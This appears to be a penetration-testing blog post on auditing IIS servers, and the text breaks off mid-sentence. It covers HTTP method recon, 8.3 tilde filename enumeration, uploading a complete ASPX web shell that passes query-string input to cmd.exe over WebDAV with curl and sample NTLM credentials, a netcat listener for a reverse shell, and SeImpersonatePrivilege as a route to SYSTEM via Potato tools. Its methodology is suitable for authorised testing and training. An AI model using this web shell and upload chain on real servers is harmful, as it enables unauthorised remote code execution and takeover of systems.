

In this post, we cover the core methodology for auditing an IIS (Internet Information Services) server from scratch—ranging from initial reconnaissance and 8.3 tilde filename enumeration to WebDAV exploitation and privilege escalation via ASPX web shells.
The first step in any IIS assessment is identifying the server version and allowed HTTP methods to map out the attack surface.
Bash
# Check allowed HTTP methods using curl
curl -i -X OPTIONS http://<TARGET-IP>/
Windows maintains a legacy 8.3 short filename format (~1) for backward compatibility. IIS responds differently to paths containing tilde characters, allowing tools to reconstruct hidden directories and backup files character by character.
Bash
cd /opt/IIS_shortname_Scanner
python3 iis_shortname_scan.py http://<TARGET-IP>/
This technique often surfaces sensitive directories like /BackupFiles/, where exposed notes (e.g., webdav_notes.txt) may leak credentials.
If a WebDAV directory has write permissions and script execution enabled, valid credentials can be used to upload an ASPX web shell and achieve remote code execution (RCE).
Create the ASPX Command Shell (cmd.aspx):Code snippet
<%@ Page Language="C#" %>
<%
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
}
%>
Upload via PUT with NTLM Authentication:Bash
curl -v --ntlm -u 'webdav_user:P@ssw0rd!123' -T cmd.aspx http://<TARGET-IP>/webdav/cmd.aspx
(A 201 Created HTTP response confirms the file was successfully written.)
While browser-based command execution is useful, an interactive reverse shell provides a stable working environment.
Start a Netcat Listener (AttackBox):Bash
nc -lvnp 443
Check Privileges within the Shell: Once connected, running whoami /priv reveals the available tokens:PowerShell
whoami /priv
Notice that SeImpersonatePrivilege is enabled. This privilege is the primary stepping stone for Potato-style exploits (e.g., PrintSpoofer, GodPotato) to escalate from iis apppool\defaultapppool to SYSTEM.
Many IIS findings require no exploits or CVEs at all—just flawed administrative configurations: